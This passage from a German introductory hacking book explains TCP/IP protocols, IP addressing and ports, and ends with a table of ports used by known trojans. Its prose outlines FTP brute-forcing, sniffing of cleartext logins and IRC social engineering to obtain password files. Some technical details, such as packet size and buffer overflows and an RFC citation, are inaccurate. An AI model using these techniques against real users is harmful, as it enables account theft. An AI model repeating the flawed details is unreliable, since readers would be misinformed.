 Der Client baut eine Session zum Server auf. Der Server bestätigt die Verfügbarkeit des Services. Der Client identifiziert sich. Der Server identifiziert sich. Der Client übergibt den eigentlichen Befehl, der einen Mail-Versand ankündigt. Der Server gibt sein Einverständnis. Der Client übermittelt den Empfänger. Der Server antwortet mit: Mailbox erreichbar. Der Client initiiert die Datenübertragung. Der Server nimmt die Daten auf, und verlangt zur Beendung den Befehl <crlf><crlf>. Der Client sendet nach Beendung der Übermittlung wie vereinbart <crlf><crlf>. Der Client beendet die Verbindung mit dem entsprechenden Befehl. Der Server antwortet darauf mit »service closing«.
 Als in den 80er Jahren noch andere Mail-Systeme eingeführt wurden, kam es zu Kompa-tibilitätsproblemen. Die Übergänge waren nicht einfach zu bewältigen, und so musste man sehr umständliche Konverter einsetzen. Seit 1992 ist nun hauptsächlich MIME (Multipurpose Internet Mail Extensions) im Einsatz, welches sich nicht mehr nur auf den reinen Textversand beschränkt, sondern verschiedenste Datentypen wie Grafiken, Audiodaten usw. zu versenden vermag.
 RPC
 Die Remote Procedure Calls werden verwendet, wenn mehrere Rechner mit verschieden gestalteten Kapazitäten zur Verfügung stehen und eine Aufgabe zu erledigen ist, die sehr große Systemressourcen ausschöpfen würde. Mit RPC können nun Teilaufgaben spezi-fisch an die dafür am besten qualifizierten Rechner zugewiesen werden, und die ver-schiedenen Rechner verschmelzen sozusagen zu einem Multi-Computer. Dieses Verfah-ren findet heutzutage übrigens immer mehr Anklang bei großen Unternehmen und For-schungseinrichtungen. Auf die genauere Struktur wird hier nicht eingegangen.
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 NIS
 Die Network Information Services werden zur Verwaltung der Operationen, Security-Objekte und Zugriffsrechte verwendet. Dieses ursprünglich von SUN entwickelte System (damals Yellow Pages) ermöglicht die zentrale Administration dezentraler UserIDs, GroupIDs und Passwörter. Um NIS zu betreiben, sind folgende Komponenten Voraus-setzung:
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 Die NIS-Datenbank stellt eine übergroße /etc/passwd-Datei für das Netzwerk dar. Der NIS-Master-Server verwaltet die NIS-Datenbank für die entsprechende Domäne. Der NIS-Slave-Server enthält eine Sicherungskopie der Datenbank für Ausfälle des Master-Servers. Die NIS-Domäne ist eine Gruppe von auf der NIS-Datenbank abgebildeten Rech-nern. Der NIS-Client ist ein Rechner, der Daten vom Server bezieht, diese jedoch nicht än-dern kann.
 Transportschicht
 Die Transportschicht soll folgende Aufgaben erfüllen:
 Ermöglichen von Datentransfer über dedizierte Transportverbindungen. Kontrollierter Auf- und Abbau von Verbindungen. Multiplexing: Aufbau eines Kommunikationskanals, der für die gleichzeitige Über-tragung mehrerer Signale genutzt werden kann. Kontrolle, Fehlererkennung und Flusssteuerung über die gesamte Verbindung. Optimierter Datenfluss, auch Windowing genannt. Priorisierung des Datenflusses, d.h. dass der Datenfluss nach Prioritäten gesendet wird.
 In der Transportschicht befinden sich zwei Protokolle, die schon angesprochenen TCP und UDP (User Datagram Protocol).
 Transmission Control Protocol (TCP)
 Das TCP erfüllt folgende Eigenschaften:
 Datenstrom-Transfer Virtuelle Full-Duplex-Verbindungen Datenflusssteuerung Fehlererkennungen Prioritätensteuerung
 Das TCP ist eines der Hauptprotokolle und garantiert im Gegensatz zu den anderen Protokollen der Familie eine zuverlässige Übertragung aller Daten. Dem TCP stehen da-zu umfangreiche Funktionen zur Fehlerprüfung zur Verfügung. Es garantiert, dass die
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 empfangenen Daten im gleichen Zustand und in der gleichen Reihenfolge ankommen, in dem sie abgesendet wurden. So wird zum Beispiel für jedes gesendete Paket ein nu-merischer Wert generiert. Dadurch können die zwei miteinander verbundenen Rechner jedes Paket anhand seines numerischen Wertes identifizieren. Des Weiteren wird für je-des gesendete Paket vom Empfänger eine Nachricht an den Absender gesendet, welche die Vollständigkeit des Transfers bescheinigt. Sollte es dennoch einmal zu einem Fehler bei der Datenübertragung kommen, sendet der Empfänger eine dementsprechende Mel-dung an den Absender und fordert das jeweilig Paket erneut an.
 TCP überwacht außerdem das Auftreten von schweren Fehlern beim Datentransfer und trennt dann gegebenenfalls automatisch die Verbindung zu anderen Rechnern.
 Weiterhin werden Daten wiederholt übertragen, wenn der Zielrechner innerhalb einer bestimmten Zeit keine Bestätigung über den Empfang sendet. Daran sieht man, dass das TCP seinem Ruf als sicheres Übertragungsprotokoll durchaus gerecht wird.
 Eine Anwendung wie z.B. der Internet Explorer kann das TCP dazu veranlassen, eine Verbindung aufzubauen; natürlich werden dazu noch andere wichtige Protokolle ge-braucht. Diese Verbindung wird durch einen dreiteiligen Prozess eingeleitet, der als three-way-handshake bezeichnet wird.
 1.
 2.
 3.
 Der anfragende Rechner bzw. der Client sendet eine Verbindungsanfrage und spezi-fiziert einen Port, mit dem er sich auf dem entfernten Rechner bzw. dem Server ver-binden möchte.
 Der Server antwortet sowohl mit einer Bestätigung als auch mit einer Warteschlange für die Verbindung.
 Der Client antwortet mit einer Bestätigung und die Verbindung wird hergestellt.
 Nach dem Öffnen der Verbindung können Daten in beide Richtungen fließen.
 User Datagram Protocol (UDP)
 UDP ist ein ungesichertes Protokoll, das keine der oben unter TCP erwähnten Eigen-schaften besitzt. Es ist ebenso ungesichert wie die Protokolle der unter der Transport-schicht liegenden Layer. Die Begründung, weshalb UDP trotzdem zur Transportschicht gehört, lautet folgendermaßen: IP kann zwar Verbindungen herstellen, jedoch keine Da-ten an Anwendungen weitergeben. UDP kann das, genauso wie TCP. Allerdings erwartet UDP keine Bestätigung des Empfangs. UDP ist also sozusagen eine Anwendungsschnitt-stelle zu IP. Auch der UDP-Header ist sehr kurz gehalten. Er enthält Informationen zum Ursprungs-Port, Ziel-Port, Länge des Datagramms und die Checksumme der Daten des UDP-Headers.
 Hier eine kleine Tabelle mit Beispielen, welche Dienste mit UDP bzw. TCP erreichbar sind:
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 Port: 111 53 161 69 25 21 23 80
 Dienst: SUN RPC DNS SNMP TFTP SMTP FTP TELNET http
 Protokoll: User Datagram Protocol (UDP) Transmission Control Protocol (TCP)
 Tabelle 3.5: Dienste und UDP/TCP
 Netzwerkschicht
 In der Netzwerkschicht sind verschiedene Protokolle zusammengefasst, die aktiv an der Übertragung der Daten beteiligt sind, zum Beispiel:
 Internet Protocol (IP)
 Das Internet Protocol ist für die Übertragung von Datenpaketen für alle Protokolle des TCP/IP zuständig.
 Das Internet Protokoll besteht aus einem Header und einem nachfolgenden Datenblock, der unter anderem für die Fragmentierung von Datenpaketen zuständig ist. Fragmentie-rung bedeutet: Ein Datenpaket kann eine maximale Größe von 65.535 Byte haben. Ist ein Paket größer als 65.535 Byte, kann es einen PC zum Absturz bringen. Das nennt sich dann Buffer Overflow, darüber später mehr im Kapitel zu den DoS-Attacken. Also wird, um den Buffer Overflow zu vermeiden, das Paket in mehrere Teilpakete zerlegt. Die ge-sendeten Pakete werden im Zielsystem wieder zusammengesetzt, also defragmentiert, das Zusammensetzen ist auch besser bekannt als Reassembly.
 Ich werde versuchen, den komplizierten Prozess anhand eines Header-Modells zu erklä-ren:
 Version HL Type of Service Total Length
 Identification Flags Fragment Offset
 TTL Protocol Header Checksum
 Source Address
 Destination Address
 Options Padding
 Data
 Version: Kennzeichnet die IP-Version. Momentan wird im Internet noch die Version 4 verwendet. Es steht jedoch der Wechsel zur Version 6 bevor, welche in einigen LANs be-reits verwendet wird.
 IHL oder HL (Internet Header Length): Die Angabe der Länge des IP-Headers wird hier in 32-Bit-Worten angegeben.
 Type of Service: Alle Bits haben nur empfehlenden Charakter. »Precedence« bietet die Möglichkeit, Steuerinformationen bevorzugt zu befördern.
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 Total Length: Gesamtlänge des Datagramms in Bytes (max. 64 KByte).
 Identification: Die eindeutige Kennung eines Datagramms. Anhand dieses Feldes und der »Source Address« ist die Zusammengehörigkeit von Fragmenten zu erkennen. Die-ses und die beiden folgenden Felder steuern zudem die Reassembly (siehe oben).
 Flags: Die beiden niederwertigen Bits haben folgende Bedeutung: ■
 ■
 Don't fragment: Für Hosts, die keine Fragmentierung unterstützen. More fragments: Zum Erkennen, ob alle Fragmente eines Datagramms empfangen wurden.
 Fragment Offset: Die Daten-Bytes eines Datagramms werden nummeriert und auf die Fragmente verteilt. Das erste Fragment hat Offset 0, für alle weiteren erhöht sich der Wert um die Länge des Datenfeldes eines Fragments. Anhand dieses Werts kann der Empfänger feststellen, ob Fragmente fehlen.
 Time-to-live (TTL): Jedes Paket hat eine vorgegebene maximale Lebensdauer, die hier angegeben wird. Auch bei Routing-Fehlern, z. B. Schleifen, wird das Datagramm ir-gendwann aus dem Netz entfernt. Da Zeitmessung im Netz problematisch ist, und keine Startzeit im Header vermerkt ist, dekrementiert (verkleinert) jeder Router das Paket beim Durchlaufen, so dass es irgendwann einen Wert von 0 hat. Nun wird es vom näch-sten Router nicht mehr angenommen.
 Protocol: Da sich unterschiedliche Protokolle auf IP stützen, muss das übergeordnete Protokoll ULP (Upper Layer Protocol) angegeben werden. Wichtige ULPs sind
 ULP Beschreibung
 1 ICMP (Internet Control Message Protocol)
 3 GGP (Gateway-to-Gateway Protocol)
 6: TCP (Transmission Control Protocol)
 8 EGP (Exterior Gateway Protocol)
 17 UDP (User Datagram Protocol) Tabelle 3.6: Die wichtigsten ULPs
 Header Checksum: Checksumme über den IP-Header. Da bei jedem Router der TTL-Wert (Time-to-Life) und eventuell auch die Werte für Flag und Flag Offset geändert werden, muss die Checksumme dementsprechend angeglichen werden. Dadurch wird die 16-Bit-Längsparität gewährleistet. Um jedoch unnötige Verzögerungen zu vermei-den, beschränkt man sich hierbei auf die Checksumme des Headers.
 Source Address: Internetadresse der Quellstation. An dieser Stelle ist die IP-Adresse des sendenden Rechners vermerkt.
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 Destination Address: Internetadresse der Zielstation. Hier ist die IP-Adresse des Empfän-gerrechners vermerkt.
 Options: Optionales Feld für weitere Informationen, deshalb gibt es auch die Header-Länge. Viele Codes sind für zukünftige Erweiterungen vorgesehen. Die Optionen dienen vor allem der Netzsteuerung, der Fehlersuche und für Messungen. Die wichtigsten sind: ■
 ■
 ■
 ■
 ■
 Record Route: Weg des Datagramms mitprotokollieren. Loose Source Routing: Die sendende Station schreibt einige Zwischenstationen vor. Strict Source Routing: Die sendende Station schreibt alle Zwischenstationen vor. Timestamp Option: Statt seiner IP-Adresse, wie bei Record Route, trägt jeder Gate-way den Bearbeitungszeitpunkt ein. Padding: Füllbits. Das Padding ist dafür verantwortlich, das Frame mittels binärer Nullen auf 32 Bit zu vervollständigen.
 Wie man sieht, ist das Internetprotokoll recht komplex, aber alles in allem dient es nur dazu, Daten zu übertragen.
 Address Resolution Protocol (ARP)
 In einem Netzwerk hat jeder Rechner eine durch die Firmware bereits vordefinierte phy-sikalische Adresse. Für die Kommunikation mit einem Rechner wird jedoch nicht die physikalische, sondern eine logische Adresse verwendet, welche man beispielsweise im Internet findet. Der Netzwerktreiber alleine ist nun nicht fähig, diesen Rechner über die-se logische Adresse anzusprechen, da sie in keinster Weise in Verbindung mit der Hard-ware-Adresse des Controllers steht. Es muss nun also die logische Adresse in die physi-kalische Adresse umgesetzt werden. Dazu dient ARP. Es setzt sich aus einem Header und dem ARP-Packet zusammen und enthält die nötigen Daten sowohl zur logischen Quell-Protokolladresse als auch der physikalischen Adresse.
 Reverse Address Resolution Protocol (RARP)
 Das RARP funktioniert in die entgegengesetzte Richtung des ARP. Anstatt anhand der logischen Adresse die physikalische zu ermitteln, sendet hier der Host einen RARP Re-quest mit der physikalischen Adresse aus, worauf dann RARP-Server im Netz ihre eige-nen Referenztabellen durchsehen und einen RARP-Response zurücksenden, der die lo-gische Adresse enthält. Diese Methode wird eigentlich nur von Rechnern verwendet, die kein Medium besitzen, in dem sie ihre dauerhafte, logische Adresse speichern können, und somit immer nur mit der Kenntnis ihrer physikalischen Adresse ins Netz booten.
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 Internet Control Message Protocol (ICMP)
 Das ICMP ist dafür verantwortlich, Meldungen, z.B. Fehlermeldungen, zu übermitteln. Es benutzt zwar IP als wäre es selbst ein übergeordnetes Protokoll, ist jedoch ein fester Bestandteil vom IP.
 Hier noch eine Liste der Fehlermeldungen, die vom ICMP gesendet werden:
 Nr. Beschreibung
 3 Destination unreachable: Zielstation ist nicht erreichbar
 4 Source quench: Buffer-Ressourcen verbraucht
 5 Redirect: Pfadumleitung
 11 Time exceeded: Timer ist abgelaufen
 12 Parameter Problem: Parameter Problem Tabelle 3.7: Liste der Fehlermeldungen des ICMP
 Und hier eine Liste der Informationsmeldungen:
 Nr. Beschreibung
 0 Echo reply
 8 Echo request
 13 Time stamp
 14 Time stamp reply
 15 Information request
 16 Information reply
 17 Adress mask request
 18 Adress mask reply
 Tabelle 3.8: Liste der Informationsmeldungen des ICMP
 IP wird dann entsprechend modifiziert, und die Daten an den Rechner zurückgesendet.
 3.3 Nutzung und Sicherheit einiger Anwendungen und Protokolle
 Der Einsatz und die mögliche Sicherheit bzw. Unsicherheit dieser Protokolle sind wich-tige Voraussetzungen für die Aktivitäten von Hackern.
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 3.3.1 Telnet
 Telnet wird im RFC 854 (Request for Comment, eine Arbeitsnotiz der Internetentwick-ler http://www.ietf.org/) wie folgt definiert: »Zweck des Telnet Protokolls ist es, eine e-her generelle, in beide Richtungen gerichtete, 8 Bit/Byte-orientierte Kommunikations-möglichkeit zur Verfügung zu stellen. Das Hauptziel ist das Realisieren einer Standard-methode, um Endgeräte-basierte Prozesse miteinander zu verbinden.«
 Telnet ermöglicht also Usern, sich über Telnet in entfernte Rechner über das Internet einzuloggen und auf diesen Rechnern Befehle auszuführen. Es ist sogar möglich, Pro-gramme auf entfernten Systemen über Telnet zu starten, dabei wird ein Terminal simu-liert (Text, keine Grafiken).
 Telnet arbeitet standardmäßig über den Port 23, denn nur über diesen Port werden die Telnet-Protokolle angesprochen.
 Eine Telnet-Verbindung kann unter Windows wie folgt aufgebaut werden:
 1.
 2.
 Klick unter Windows 95/98 und höher auf Start Ausführen , woraufhin ein kleines Dialogfenster angezeigt wird.
 Man gibt folgende Zeile ein: telnet.exe
 3.
 4.
 5.
 6.
 7. ■
 ■
 ■
 8.
 9.
 10.
 11.
 12.
 13.
 14.
 Klick auf Ok. Telnet startet.
 Nun wählt man sich wie gewohnt bei seinem Provider ein.
 Wieder zurück zu Telnet wechseln.
 Klick auf Verbinden Netzwerksystem. Es erscheint ein Dialogfenster.
 Man gibt Folgendes ein: Hostname: meine-domain.de Anschluss: telnet Terminaltyp: vt100
 Klick auf Verbinden.
 Jetzt erscheint Welcome, der Server begrüßt Sie und ist bereit.
 Nun geben Sie Ihren Login-Namen ein. Dies ist der Name, der auch beim FTP ver-wendet wird (s.u).
 Dann auf (¢) drücken.
 Nun will der Server ein Passwort wissen. Es ist derselbe Vorgang wie beim FTP.
 Nicht irritieren lassen, wenn man die Eingabe nicht sieht, da das Passwort nicht sichtbar angezeigt wird.
 Dann nochmals auf (¢) drücken.
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 15.
 16.
 Nun ist man mit dem Server verbunden. Man kann die Eingabeaufforderung sehen, z.B. bubis$, bubis2$, b3$ usw.
 Nun kann man die Befehle eingeben.
 Bild 3.2: Eine Telnet-Verbindung wird aufgebaut.
 Telnet schreibt Klartext
 Ein Problem von Telnet ist, dass alle Daten im Klartext übertragen werden. Da Telnet eine Benutzerauthentifizierung verlangt (Login-Name, Passwort), kann ein Angreifer sehr leicht durch Mitlesen (s. Sniffer) des Netzwerkverkehrs Account-Daten erlangen.
 3.3.2 FTP
 FTP ist eine Methode zum Übertragen von Daten zwischen entfernten System. FTP wird in RFC (Request for Comments, Sicherheitshandbuch) 0765 wie folgt dargestellt: »Die Aufgabe von FTP ist 1. das gemeinnützige Verbreiten von Dateien (Programmen und/oder Daten), 2. die indirekte oder implizite (durch Programme) Benutzung ent-fernter Rechner zu fördern, 3. dem Benutzer die Mühseligkeit der strukturellen Unter-schiede der Dateisysteme zwischen verschiedenen Systemen zu ersparen und 4. Daten zuverlässig und effektiv zu übertragen. Obwohl FTP auch direkt auf einem Terminal be-nutzt werden kann, ist es hauptsächlich für die Benutzung über Programme entwickelt.«
 Datenübertragungen per FTP funktionieren mittels eines FTP Clients z.B. Cute-FTP oder WS_FTP. Der Client stellt dabei eine Anfrage an den FTP Server des entfernten Rech-ners. Diese Anfrage wird über den Port 21 gestellt.
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 Bild 3.3: Die Oberfläche von CuteFTP
 Um eine Verbindung herzustellen, muss auf dem Zielrechner ein FTP Server bzw. FTP Daemon laufen.
 Es gibt zwei Arten von FTP: User-FTP und Anonymous-FTP. Bei User-FTP muss sich der Benutzer mit seinem Login-Namen und Passwort auf dem Server anmelden. Bei Anonymous-FTP kann sich jede Person auf dem Server einloggen. Als Login-Name muss man meistens Anonymous und als Passwort eine E-Mail-Adresse eingeben. Man hat dann auf den öffentlichen Teil des FTP-Servers Zugriff. Anonymous-FTP ist ein wichtiger Dienst im Internet, da dadurch Programme oder Dokumentationen für alle Internetbenutzer bereitgestellt werden können.
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 Sicherheit von FTP
 FTP ist kein sehr sicheres Protokoll, das in verschiedener Weise angegriffen werden kann. Hier die wichtigsten Angriffsformen:
 Passwort-Attacken
 FTP eignet sich gut, um Passwörter auszuprobieren, da in der Standard-Konfiguration keine Beschränkung zur Eingabe von Passwörtern besteht, d.h. man kann beliebig oft versuchen, ein Passwort anzugeben. Diese Attacke wird auch als Brute-Force-Angriff be-zeichnet. Bei manchen FTP-Servern ist es möglich, gültige Login-Namen herauszufin-den. Gibt man einen ungültigen Login-Namen an, so antwortet der Server mit Fehler-code.
 Paket-Sniffing
 Da FTP die Daten im Klartext überträgt, kann ein Angreifer durch Mitlesen des Netz-werk-Traffics in den Besitz von Benutzerdaten gelangen. Näheres dazu finden Sie im Kapitel über Sniffer.
 Software-Upload
 Auf vielen FTP-Servern kann man mit der Anonymous-Kennung Software hochladen (uploaden). Ein Angreifer könnte somit manipulierte Software auf einem Server ablegen (Viren, Trojaner).
 3.3.3 IRC
 IRC (Internet Relay Chat) ist neben E-Mails einer der beliebtesten Dienste im Internet. Er erlaubt Echtzeitkonferenzen mit mehreren Teilnehmern. Im IRC kann sich der User je nach Sever (IRC Server z.B. irc.euirc.net) in den verschiedensten Kanälen (Channels) aufhalten. Für Gespräche im IRC verwendet man einen der mittlerweile zahlreichen IRC Clients. Zu den bekanntesten gehören mIRC, BitchX und pIRCh.
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 Bild 3.4: IRC-Oberfläche
 IRC eignet sich hervorragend für Social Engineering. Gerade Neulinge sind immer wie-der bereit, bestimmte Kommandos, die ihnen jemand im Chat gesagt hat, auszuführen. Ein Angreifer könnte sich z.B. die Passwortdatei per Mail schicken lassen. Aber auch durch einige IRC-Befehle kann ein Hacker viele Informationen über Benutzer in Erfah-rung bringen, die für weitere Angriffe hilfreich sein können. Weiterhin besteht eine Ge-fahr im IRC durch Dateiaustausch, wobei immer wieder gern Trojaner und Viren an User versendet werden (s.u. unter Trojaner). Die größte Gefahr stellen jedoch die Client- bzw. Serverprogramme selbst dar. Falsch konfigurierte Client-Programme erlau-ben Servern oft mehr Zugriffe auf lokale Ressourcen (z.B. Files) als ratsam ist.
 3.3.4 IP-Adressierung
 Die Adressierung im Internet beruht auf der so genannten IP-Adressierung. Dabei ist je-de Ressource im Internet mit einer eindeutigen Nummer, der so genannten IP-Adresse, erreichbar. Die Vergabe von IP-Adressen erfolgt hierarchisch, das heißt, ein Kunde be-kommt notwendige IP-Adressen von seinem Provider, der Provider wiederum leiht sei-ne IP-Adressen vom Netzwerk, an das er angeschlossen ist, während die Betreiber des Netzwerks ihre IP-Adressen blockweise bei den so genannten IP Numbering Authorities
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 zeitlich unbefristet ausleihen. In Europa ist die RIPE (http://www.ripe.net/) für den Verleih der IP-Adressen verantwortlich.
 Wie sieht eine IP-Adresse aus?
 Das zur Zeit verwendete IP-Protokoll ist das IPv4. Hier besteht jede IP-Adresse aus 32 Bits. Da solche Zahlenkombinationen recht umständlich sind, verwendet man meist die punktiert-dezimale Schreibweise, wobei die 32 Bits in je 8 Bits geteilt werden und diese jeweils dezimal notiert werden. Auf diese Weise besteht eine IP-Adresse aus vier Bytes :
 11000010 01001101 01111100 00100011
 194 77 124 35
 Bsp: 11000010
 128 64 32 16 8 4 2 1
 1 1 0 0 0 0 1 0
 128 64 2
 194
 Jedes Quad repräsentiert eine Zahl zwischen 0 und 255, so dass mit diesen vier Quads theoretisch über 4 Milliarden (genau: 4.294.967.296) Adressen verwaltet werden könn-ten.
 IP-Netzwerkklassen
 Man stellte im Laufe der Zeit fest, dass sich 4 Milliarden IP-Adressen sehr schwer von einer einzigen Institution verwalten lassen.
 Zum Zwecke der Entlastung vergab das InterNIC, dem man Anfang der 90er-Jahre die Verwaltung des IP-Adressraumes übergeben hatte, die Verwaltung einzelner IP-Adressräume an nationale NIC und Großunternehmungen, die, unabhängig vom In-terNIC, ihre zugewiesenen Adressräume selbst vergeben konnten. Aus diesem Grund enstanden so genannte »Netzwerkklassen« (z.B. aaa.bbb.x.x), in denen nur die ersten Quads durch ein NIC vorbestimmt sind, und die restlichen Quads frei vergeben werden dürfen.
 Aus diesem Grund werden die 4 Milliarden IP-Adressen wiederum in drei Klassen ein-geteilt, die Klasse-A-, Klasse-B- und Klasse-C-Netzwerke:
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 Adresse Beschreibung
 aaa.x.x.x Klasse-A-Netzwerke haben im ersten Quad Werte zwischen 1 und 126 (in
 der binären Schreibweise der IP-Adresse alle Adressen, die mit 0 begin-
 nen). Besitzer von Klasse-A-Netzwerken bekommen vom InterNIC (das
 nach wie vor alle Klasse-A-Netzwerke verwaltet) den ersten Quad
 aaa.x.x.x zugeteilt und können die restlichen 24 Bit der IP-Adresse selbst
 vergeben. Klasse-A-Netzwerke sind heute allerdings schon alle vergeben,
 so dass keine neuen Klasse-A-Netzwerke mehr im Internet eingerichtet
 werden können.
 aaa.bbb.x.x Klasse-B-Netzwerke haben im ersten Quad Werte von 128 bis 191 und im
 zweiten Quad den vollen Wertebereich von 0 bis 255. Besitzer von Klasse-
 B-Netzwerken bekommen die ersten beiden Quads aaa.bbb.x.x zugeteilt
 und können die restlichen 16 Bit selbst vergeben (dies sind rein rechne-
 risch 65.536 verschiedene IP-Adressen innerhalb eines Klasse-B-Netz-
 werkes).
 aaa.bbb.ccc.x Klasse-C-Netzwerke haben im ersten Quad Werte von 192 bis 223 (in der
 binären Schreibweise der IP-Adresse alle Adressen, die mit 110 beginnen)
 und für die restlichen drei Quads wiederum den vollen Wertebereich von
 0 bis 255. Besitzer von Klasse-C-Netzwerken bekommen die ersten drei
 Quads aaa.bbb.ccc.x zugeteilt und können über den vierten Quad frei
 verfügen (dies sind rein rechnerisch 256 verschiedene IP-Adressen).
 Tabelle 3.9: Klasse-A-, B- und C-Netzwerke
 Reservierte IP-Adressen
 Es gibt viele IP-Adressen, die von der Vergabe durch Provider ausgeschlossen sind, da sie anderen Zwecken dienen.
 Adressen Beschreibung
 x.x.x.0 und x.x.x.255
 In allen IP-Adressen sind die Werte 0 und 255 im vierten Quad sys-
 tembedingt gesperrt; die 0 dient als Subnetz-Benennung (mit 0 im
 vierten Quad werden alle Rechner von 1 bis 254 gemeint) und die
 255 im vierten Quad dient als Broadcast-Adresse (über diesen Wert
 sind alle Rechner eines Subnetzes erreichbar).
 127.x.x.x. Alle IP-Adressen mit diesem ersten Quad dienen als TCP/IP-
 Rückkopplungsschleifen. Sie dienen dazu, TCP/IP-Installationen auf
 Computern zu testen (mit einem Ping auf eine beliebige 127er-Adresse).
 10.x.x.x Dieses Klasse-A-Netzwerk wird für lokale Rechner eines Intranets mit
 Internetanbindung freigehalten. IP-Adressen innerhalb dieses Klasse-
 A-Netzwerkes werden nur innerhalb des Intranets geroutet.
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 Adressen Beschreibung
 172.16.x.x bis 172.31.x.x
 Diese 16 Klasse-B-Netzwerke werden ebenfalls für lokale Rechner ei-
 nes Intranets mit Internetanbindung freigehalten. IP-Adressen inner-
 halb dieser Klasse-B-Netzwerke werden nur innerhalb des Intranets
 geroutet.
 192.168.0.0 bis 192.168.255.255
 Diese 256 Klasse-C-Netzwerke werden ebenfalls für lokale Rechner ei-
 nes Intranets mit Internetanbindung freigehalten. IP-Adressen inner-
 halb dieser Klasse-C-Netzwerke werden nur innerhalb des Intranets
 geroutet.
 224.x.x.x bis 239.x.x.x
 Die Quad-1-Werte 224 bis 239 sind die so genannten Multicast-
 Adressen, die kein bestimmtes Netzwerk definieren und zum Übertra-
 gen von Datenpaketen an mehrere Empfänger gleichzeitig dienen. Sie
 werden manchmal auch als Klasse D bezeichnet.
 240.x.x.x bis 255.x.x.x
 Für zukünftige Entwicklungen sind ferner die Quad-1-Werte 248 bis
 254 gesperrt. So bleibt von 4 Milliarden theoretisch verfügbaren IP-
 Adressen am Ende nur noch ein »Bruchteil« übrig. Schon heute
 kommt es zu Engpässen bei der Vergabe von Klasse-B- und Klasse-C-
 Netzwerkadressen, da der freie Nummernvorrat immer kleiner wird.
 Deshalb ist in Zukunft das IP-Adressierungssystem IPv6 angesagt, in
 dem eine IP-Adresse aus insgesamt 128 Bit statt, wie momentan, aus
 nur 32 Bit besteht.
 Tabelle 3.10: Reservierte IP-Adressen
 3.4 Ports In diesem Buch stößt man häufig auf den Begriff Port, deshalb hier ein Erklärung, die Ihnen das Verständnis im weiteren Text erleichtern soll.
 Ein Port ist eine Schnittstelle, an der Informationen ein- und ausgehen können. Jeder Anwender kennt bestimmt einige dieser Schnittstellen, an ihnen sind zum Beispiel für den Dateninput Maus und Tastatur angeschlossen. Den Output übernimmt dann der Monitor oder der Drucker.
 Ein Serversystem bietet dem Internetanwender für verschiedene Dienste auch verschie-dene Ports an. Hier handelt es sich jedoch nicht um physikalische, sondern um virtuelle Software-Ports. Ports hat jedes Betriebssystem, das TCP/IP unterstützt, also Linux, Windows, Unix, BeOs. Gekennzeichnet werden diese Ports durch Nummern.
 Es gibt genau 65536 Ports. Port 1 bis 1023 sind die Standard- bzw. statischen Ports oder auch »Well Known Ports«. Sie sind für die gängigen Services vorbehalten, und können in der Regel nur von autorisierten Nutzern angesprochen werden. So stellt der Browser
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 beispielsweise beim Aufruf einer Webseite automatisch eine Verbindung zum Port Nummer 80 des entsprechenden Servers her. Dieser Port stellt das für das World Wide Web benötigte Kommunikationsprotokoll HTTP zur Verfügung. Die Information über die Zuordnung des jeweiligen Protokolls zum entsprechenden Port ist in der Transport-schicht enthalten. E-Mails werden z.B. über das Simple Mail Transfer Protocol (SMTP) gesendet. Dieser Mail-Dienst wird dementsprechend, nach dem »Well-Known-Ports«-Standard, über die Portnummer 25 gesendet.
 Die »Registered Ports« sind die Ports von 1024 bis 49151 und auch häufig für bestimmte Services vorgesehen, können aber im Regelfall von jedermann benutzt werden. Alle Ports mit größeren Nummern nennt man dynamische oder private Ports, diese können von anderen Programmen, auch den selbstgeschriebenen, verwendet werden.
 Ein Port ist dann geöffnet, wenn ein Programm auf diesem Port auf einen Request bzw. auf eine Anfrage wartet. Hat man einen FTP-Server auf seinem System installiert, wartet dieser Server auf dem Port 21 auf eine Anfrage, der Port ist also geöffnet.
 Von/An Ports können aber auch schädliche Datenpakete, besser bekannt als Denial of Service Attacken bzw. Nuker, gesendet oder auch empfangen werden. Ohne entspre-chende Schutzmaßnahmen führen solche Pakete meist zum Absturz des Rechners. Vor-zugweise werden hier bestimmte Ports zum Absenden dieser manipulierten Datenpakete verwendet, die auf Programmfehler in den entsprechenden Diensten aufsetzen.
 Des Weiteren stellen offene Ports an Systemen schwere Sicherheitsmängel dar. Über die-se Ports können versierte Hacker in die betroffenen Systeme eindringen. Ich empfehle deshalb, das System des Öfteren mit einem Portscanner wie beispielsweise 7th Sphere (www.hackerzbook.de) abzuscannen und evtl. offene Ports mit einer Firewall zu schließen.
 Bild 3.5: Resultat eines Portscans
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 Einige der wichtigen Ports finden Sie in nachfolgender Tabelle:
 Port Beschreibung
 21 FTP (File Transfer Protocol)
 23 Telnet (Service, nicht Programm!)
 25 SMTP (Zum Mailversand, Simple Mail Transfer Protocol)
 43 Who is (Zum Nachsehen, wem eine Webseite gehört)
 53 Domain Name Server (Zum Nachsehen von DNS Namen)
 66 SQL * Net (SQL Server Port)
 79 Finger (Infos über einen Benutzer, z.B. ob er Mails hat)
 80 WWW (World Wide Web)
 110 POP3 (Post Office Protocol 3); hier rufen Sie Ihre Mails ab
 137 Netbios Name Service (Namen von Netzwerk PCs)
 138 Netbios Datagramm Service (Datenverkehr im Netzwerk)
 139 Netbios Session Service (Hier sprechen die Nuker auch an!) Tabelle 3.11: Übersicht über die wichtigsten Ports
 Eine Liste aller Ports erhalten Sie auf der folgenden Website:
 http://www.iana.org/assignments/port-numbers.
 Ports werden auch von Trojanern genutzt, deshalb habe ich hier einmal die wichtigsten Ports der bekanntesten Trojaner aufgelistet.
 Port Beschreibung
 2140 Deep Throat
 6670 Deep Throat
 6771 Deep Throat
 30129 Masters Paradise
 5400 Blade Runner
 12361 Whack A Mole
 20034 NetBus 2 Pro
 21544 Girlfriend
 12345 NetBus
 31337 Altes Back Orifice (BO)
 1243 Alter Sub 7
 27374 Sub7
 30100 Netsphere
 456 Hackers Paradise Tabelle 3.12: Trojaner-Ports
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 Eine genaue Liste aller bekannten Trojaner Ports bekommt man unter:
 http://www.un-secure.de
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44 Trojaner
